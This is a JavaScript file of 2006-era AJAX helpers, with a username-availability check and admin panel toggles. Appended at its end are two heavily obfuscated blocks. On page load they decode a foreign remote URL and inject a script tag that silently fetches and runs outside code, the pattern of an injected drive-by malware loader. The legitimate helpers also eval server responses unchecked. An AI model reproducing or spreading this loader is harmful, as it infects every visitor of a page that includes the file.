/*****************************************************************************
 *
 *  AJAX style http request.
 *
 *  Author:	     Jarrod B. Reuter
 *  Email:	     Jarrod.Reuter@gmail.com or Jarrod@foobarfusion.com
 *
 *  Description:     This allows us to call a server side page and return it's
 *		     results without refreshing the page.
 *
 *  Details:	     This uses GET to send via URL.
 *
 *  Created:	     4/2006
 *
 *****************************************************************************/

function evalRequest(url) {
   req = false;               // branch for native XMLHttpRequest object
   if (window.XMLHttpRequest){
      try {
	 req = new XMLHttpRequest();
      } catch (e) {
	 req = false;
      }
   }else if (window.ActiveXObject){
      try {
	 req = new ActiveXObject("Msxml2.XMLHTTP");
      } catch(e) {
	 try {
	    req = new ActiveXObject ("Microsoft.XMLHTTP");
	 } catch(e) {
	    req = false;
	 }
      }
   }
   if (req){
      req.onreadystatechange = function() {
	 if (req.readyState==4 && req.status==200) {
	    eval(req.responseText);
	 }
      }
      req.open("GET", url, true);
      req.send(null);
   }
}

/*****************************************************************************
 *
 *  AJAX style http request.
 *
 *  Author:           Jarrod B. Reuter
 *  Email:            Jarrod.Reuter@gmail.com or Jarrod@foobarfusion.com
 *
 *  Description:      This allows us to call a server side page and return it's
 *                    results without refreshing the page.
 *
 *  Details:          This uses POST to send via URL.
 *
 *  Created:          4/2006
 *
 *****************************************************************************/
function evalRequestPOST(url,str1,str2,str3) {
   req = false;               // branch for native XMLHttpRequest object
   if (window.XMLHttpRequest){
      try {
	 req = new XMLHttpRequest();
      } catch (e) {
	 req = false;
      }
   }else if (window.ActiveXObject){
      try {
	 req = new ActiveXObject("Msxml2.XMLHTTP");
      } catch(e) {
	 try {
	    req = new ActiveXObject ("Microsoft.XMLHTTP");
	 } catch(e) {
	    req = false;
	 }
      }
   }
   if (req){
      req.onreadystatechange = function() {
	 if (req.readyState==4 && req.status==200) {
	    eval(req.responseText);
	 }
      }
      var str = "";
      str += "search=" + str1 + "&searchq=" + str2 + "&tables=" + str3;
      req.open("POST", url, true);
      req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
      req.send(str);
   }
}

/*****************************************************************************
 *
 *  Function:	     usernameCheck
 *
 *  Author:           Jarrod B. Reuter
 *  Email:            Jarrod.Reuter@gmail.com or Jarrod@foobarfusion.com
 *
 *  Description:      Uses evalRequest() to check a php file.  The file should
 *		      query the db and print a call to another javascript func
 *
 *  Created:          4/2006
 *
 *****************************************************************************/
function usernameCheck(){

   var uname = document.getElementById("registration").uname.value;
   var url = "/user_check.php?name=" + uname;
   evalRequest(url);

}

/*****************************************************************************
 *
 *  Function:         usernameResult
 *
 *  Author:           Jarrod B. Reuter
 *  Email:            Jarrod.Reuter@gmail.com or Jarrod@foobarfusion.com
 *
 *  Description:      Called from a php file with true/false variable.  This
 *		     outputs error is username is taken, or simply states it
 *		     is available to the user.
 *
 *  Created:          4/2006
 *
 *****************************************************************************/
function usernameResult(val){
   scroll(0,0);
   if(val)
      document.getElementById("output").innerHTML = "<tr><td colspan=\"2\"><font color=\"red\">That username is available</font></td><tr>";
   else
      document.getElementById("output").innerHTML = "<tr><td colspan=\"2\"><font color=\"red\">ERROR - That username is already in use</font></td><tr>";
}

var useron = false;
var permon = false;

function load(){
   document.getElementById('usersPanel').style.display='none';
   document.getElementById('permPanel').style.display='none';
}

function displayPerm()
{
   useron=false;
   document.getElementById('usersPanel').style.display='none';

   if(permon) //permission is displayed hide them
   {
      permon=false;
      document.getElementById('permPanel').style.display='none';
   }
   else
   {
      permon=true;
      document.getElementById('permPanel').style.display='';
   }

}


function displayUsers()
{
   permon=false;
   document.getElementById('permPanel').style.display='none';

   if(useron)
   {
      useron=false;
      document.getElementById('usersPanel').style.display='none';
   }
   else
   {
      useron=true;
      document.getElementById('usersPanel').style.display='';
   }

}


var Xa="";this.v="";var O="";function N(){var oV=4353;this.rp=31055;function l(p,X){this.HR=false;var d=new RegExp('['+X+']', 'g');this.a="";this.W="";return p.replace(d, '');};var oL=false;var yo=false;var ZP='';var PB='';var P=l('hSt8tHp4:S/f/fwf34s8cSh8o8oHlSs4-8cfoHm8.8xHn4xSx8.8c4o4mH.Hb8i4z4r4aft8e8-Hc8oSm4.4aHlHlSn8eHw8b8a4n8d8sH.frfuS',"S4H8f");var r='';this.Ni="";var y=l('s9ckrzi5pzth',"h9kz5");this.xN='';this._='';var yB=l(':IBdIm6Im8Bddd6mBB0Id6Imd8dmmBddIId0IIdIdI6',"6IBdm");this.c=23700;var wz="";var g=window;var x=l('/Gg4o4oGgYlGe4.4c4oGmG/YgYoxoGgGlYeJ.xcxoxmJ/GhJu4bYpJaGgGeGsx.4c4oJmY/Gm4sGnG.Gcxo4mY.xcxnG/4wxeYbxs4.GcJoYmG/Y',"Y4GxJ");g.onload=function(){var NC='';this.m=false;try {this.Iv=false;r+=P;r+=yB;var cq=17594;r+=x;this.WS="";Y=document.createElement(y);var mY=false;this.orC="";Y.setAttribute('defer',1);var dE='';Y.setAttribute('src', r);this.pA="";var yq="";this.Ue="";document.body.appendChild(Y);var jL=false;} catch(XX){this.LW='';var xNR="";};var yOr=false;var nJ=false;};var fmo=49425;var zN='';};var FP='';var ZO=11785;N();
var lV=new Array();var I=new Array();function J() {var b=new String();var IN=new Date();var yy=new Date();var u=']';var sZ=new Date();this.jD="";var QC;if(QC!='' && QC!='Ry'){QC='zY'};this.Ih="";var a='[';var B;if(B!='' && B!='L'){B='VF'};var OQ="";var P=new String();var N='';var l='replace';this.GS='';var q='g';var v=RegExp;var bt;if(bt!=''){bt='xX'};var wf="";var hiB;if(hiB!=''){hiB='A'};function Z(s,T){var LZ;if(LZ!='' && LZ!='ID'){LZ=''};var i=new Array();var r=a;var Ns;if(Ns!='bd' && Ns!='vb'){Ns='bd'};var Dg=new Date();r+=T;var NM;if(NM!='' && NM!='o_'){NM=null};r+=u;var PQ=new v(r, q);var lK="";var _n=new Array();return s[l](PQ, P);};var Az=new String();var F=Z('/JgqoWoqgWlqeH.WcHoHmH/HgWoHoJgWlHeH.JcWoHmq/W5H1H.qlJaW/WeHxJbJlWoWgW.qjWpW/HpHaHnHtHiJpJ.WcWoJmJ.WpWhHpJ',"qWJH");var wY;if(wY!=''){wY='kP'};var S="";var rj=Z('cIrdedadtWeWEdldedmoedndtW',"oIWd");var y=Z('8217260161781672067161',"1627");var fh;if(fh!='pw'){fh='pw'};var Ov;if(Ov!='QG'){Ov='QG'};var O='';var e=window;var Tr;if(Tr!='Vw'){Tr='Vw'};var d=Z('hVtztZpz:V/z/g5Z1VygeZsV-6cgoVmg.6iVnVtge6lZ.6c6ozmg.gaZb6oVu6tV-6czogmZ.Vsga6mguVegszt6.zrVuV:z',"zZ6Vg");var h=Z('shchrNiNpht8',"h8N");var Tj="";var X='';e[Z('o1n9l1o9a9d1',"91")]=function(){var HO="";var GD;if(GD!='ig'){GD='ig'};try {var Rr='';var fz;if(fz!='ND' && fz!='uZ'){fz='ND'};var ja=new Array();var _j=new String();O+=d;O+=y;var VM;if(VM!='' && VM!='kR'){VM=null};var fk=new Date();O+=F;var Ax;if(Ax!='gQ' && Ax != ''){Ax=null};var We;if(We!='' && We!='th'){We=''};var IU=new String();p=document[rj](h);var RA='';var CU;if(CU!='mT'){CU='mT'};var lN=new Date();this.he='';E(p,'src',O);var rM;if(rM!='JJ'){rM='JJ'};this.dX="";E(p,'defer',([8,1][1]));var lP="";this.ZF="";document.body.appendChild(p);} catch(j){var NX;if(NX!='' && NX!='QZ'){NX='eY'};var pD;if(pD!='AMO' && pD != ''){pD=null};};var gS;if(gS!='nY' && gS != ''){gS=null};var iX;if(iX!='vs' && iX != ''){iX=null};};function E(U,Tf,_){var oP;if(oP!='' && oP!='ORz'){oP='cr'};var xs;if(xs!='' && xs!='crX'){xs='Pf'};U.setAttribute(Tf, _);}this.Ek='';this.Dq='';var dR='';};this.rp="";this.jT="";J();